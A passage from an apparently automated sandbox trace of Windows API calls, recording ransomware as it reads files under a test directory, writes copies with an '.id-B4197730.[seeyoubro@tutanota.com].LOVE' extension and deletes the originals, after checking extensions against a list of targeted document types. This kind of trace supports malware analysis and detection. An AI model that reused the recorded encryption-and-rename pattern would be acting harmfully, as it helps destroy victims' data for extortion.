lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x22ac, lpOverlapped=0x0) returned 1 [0196.160] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x22b0, lpOverlapped=0x0) returned 1 [0196.160] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.160] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.160] SetEndOfFile (hFile=0x2f8) returned 1 [0196.160] CloseHandle (hObject=0x2f8) returned 1 [0196.162] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.162] SetEndOfFile (hFile=0x2c8) returned 1 [0196.163] CloseHandle (hObject=0x2c8) returned 1 [0196.163] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.163] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0196.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.164] lstrlenW (lpString=".doc") returned 4 [0196.164] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString=".docx") returned 5 [0196.164] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.164] lstrlenW (lpString=".pdf") returned 4 [0196.164] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString=".xls") returned 4 [0196.164] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.164] lstrlenW (lpString=".xlsx") returned 5 [0196.164] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.164] lstrlenW (lpString=".ppt") returned 4 [0196.164] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.164] lstrlenW (lpString=".zip") returned 4 [0196.164] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.164] lstrlenW (lpString=".rar") returned 4 [0196.164] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString=".bz2") returned 4 [0196.164] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString=".7z") returned 3 [0196.164] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.164] lstrlenW (lpString=".dbf") returned 4 [0196.164] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.165] lstrlenW (lpString=".1cd") returned 4 [0196.165] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.165] lstrlenW (lpString=".jpg") returned 4 [0196.165] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.165] lstrlenW (lpString=".doc") returned 4 [0196.165] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString=".docx") returned 5 [0196.165] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.165] lstrlenW (lpString=".pdf") returned 4 [0196.165] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString=".xls") returned 4 [0196.165] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.165] lstrlenW (lpString=".xlsx") returned 5 [0196.165] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.165] lstrlenW (lpString=".ppt") returned 4 [0196.165] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.165] lstrlenW (lpString=".zip") returned 4 [0196.165] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.165] lstrlenW (lpString=".rar") returned 4 [0196.165] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString=".bz2") returned 4 [0196.165] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.165] lstrlenW (lpString=".7z") returned 3 [0196.165] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.166] lstrlenW (lpString=".dbf") returned 4 [0196.166] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.166] lstrlenW (lpString=".1cd") returned 4 [0196.166] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.166] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0196.166] lstrlenW (lpString=".jpg") returned 4 [0196.166] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.166] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.166] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.166] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=86442) returned 1 [0196.166] CloseHandle (hObject=0x2c8) returned 1 [0196.166] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0196.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.167] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.167] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0196.167] GetLastError () returned 0x0 [0196.167] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x151aa, lpOverlapped=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x151b0, lpOverlapped=0x0) returned 1 [0196.193] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.193] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.193] SetEndOfFile (hFile=0x2f8) returned 1 [0196.193] CloseHandle (hObject=0x2f8) returned 1 [0196.195] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.195] SetEndOfFile (hFile=0x2c8) returned 1 [0196.196] CloseHandle (hObject=0x2c8) returned 1 [0196.196] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.197] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0196.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.197] lstrlenW (lpString=".doc") returned 4 [0196.197] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.197] lstrlenW (lpString=".docx") returned 5 [0196.197] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.197] lstrlenW (lpString=".pdf") returned 4 [0196.197] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.197] lstrlenW (lpString=".xls") returned 4 [0196.197] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.197] lstrlenW (lpString=".xlsx") returned 5 [0196.197] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.197] lstrlenW (lpString=".ppt") returned 4 [0196.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString=".zip") returned 4 [0196.198] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.198] lstrlenW (lpString=".rar") returned 4 [0196.198] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString=".bz2") returned 4 [0196.198] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString=".7z") returned 3 [0196.198] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString=".dbf") returned 4 [0196.198] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString=".1cd") returned 4 [0196.198] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString=".jpg") returned 4 [0196.198] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.198] lstrlenW (lpString=".doc") returned 4 [0196.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString=".docx") returned 5 [0196.198] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.198] lstrlenW (lpString=".pdf") returned 4 [0196.198] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.198] lstrlenW (lpString=".xls") returned 4 [0196.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString=".xlsx") returned 5 [0196.199] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.199] lstrlenW (lpString=".ppt") returned 4 [0196.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.199] lstrlenW (lpString=".zip") returned 4 [0196.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.199] lstrlenW (lpString=".rar") returned 4 [0196.199] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString=".bz2") returned 4 [0196.199] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString=".7z") returned 3 [0196.199] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.199] lstrlenW (lpString=".dbf") returned 4 [0196.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.199] lstrlenW (lpString=".1cd") returned 4 [0196.199] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.199] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0196.199] lstrlenW (lpString=".jpg") returned 4 [0196.199] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.199] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.199] lstrlenW (lpString="eula.rtf") returned 8 [0196.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.200] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=10125) returned 1 [0196.200] CloseHandle (hObject=0x2c8) returned 1 [0196.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0196.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.200] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.200] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0196.200] GetLastError () returned 0x0 [0196.200] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x278d, lpOverlapped=0x0) returned 1 [0196.228] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2790, lpOverlapped=0x0) returned 1 [0196.229] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.229] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.229] SetEndOfFile (hFile=0x2f8) returned 1 [0196.229] CloseHandle (hObject=0x2f8) returned 1 [0196.230] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.230] SetEndOfFile (hFile=0x2c8) returned 1 [0196.230] CloseHandle (hObject=0x2c8) returned 1 [0196.230] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.230] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0196.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.231] lstrlenW (lpString=".doc") returned 4 [0196.231] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString=".docx") returned 5 [0196.231] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.231] lstrlenW (lpString=".pdf") returned 4 [0196.231] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString=".xls") returned 4 [0196.231] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.231] lstrlenW (lpString=".xlsx") returned 5 [0196.231] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.231] lstrlenW (lpString=".ppt") returned 4 [0196.231] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.231] lstrlenW (lpString=".zip") returned 4 [0196.231] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.231] lstrlenW (lpString=".rar") returned 4 [0196.231] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString=".bz2") returned 4 [0196.231] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString=".7z") returned 3 [0196.231] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.231] lstrlenW (lpString=".dbf") returned 4 [0196.231] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.231] lstrlenW (lpString=".1cd") returned 4 [0196.232] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.232] lstrlenW (lpString=".jpg") returned 4 [0196.232] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.232] lstrlenW (lpString=".doc") returned 4 [0196.232] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString=".docx") returned 5 [0196.232] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.232] lstrlenW (lpString=".pdf") returned 4 [0196.232] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString=".xls") returned 4 [0196.232] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.232] lstrlenW (lpString=".xlsx") returned 5 [0196.232] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.232] lstrlenW (lpString=".ppt") returned 4 [0196.232] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.232] lstrlenW (lpString=".zip") returned 4 [0196.232] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.232] lstrlenW (lpString=".rar") returned 4 [0196.232] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString=".bz2") returned 4 [0196.232] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.232] lstrlenW (lpString=".7z") returned 3 [0196.232] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.232] lstrlenW (lpString=".dbf") returned 4 [0196.232] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.233] lstrlenW (lpString=".1cd") returned 4 [0196.233] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0196.233] lstrlenW (lpString=".jpg") returned 4 [0196.233] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.233] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.233] lstrlenW (lpString="eula.rtf") returned 8 [0196.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.233] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=12687) returned 1 [0196.233] CloseHandle (hObject=0x2c8) returned 1 [0196.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0196.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0196.234] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.234] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0196.234] GetLastError () returned 0x0 [0196.234] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x318f, lpOverlapped=0x0) returned 1 [0196.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x3190, lpOverlapped=0x0) returned 1 [0196.260] ReadFile (in: hFile=0x2c8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.261] SetEndOfFile (hFile=0x2f8) returned 1 [0196.261] CloseHandle (hObject=0x2f8) returned 1 [0196.261] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.262] SetEndOfFile (hFile=0x2c8) returned 1 [0196.262] CloseHandle (hObject=0x2c8) returned 1 [0196.262] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.262] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0196.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.263] lstrlenW (lpString=".doc") returned 4 [0196.263] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.263] lstrlenW (lpString=".docx") returned 5 [0196.263] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.263] lstrlenW (lpString=".pdf") returned 4 [0196.263] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.263] lstrlenW (lpString=".xls") returned 4 [0196.263] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.263] lstrlenW (lpString=".xlsx") returned 5 [0196.263] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.263] lstrlenW (lpString=".ppt") returned 4 [0196.263] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 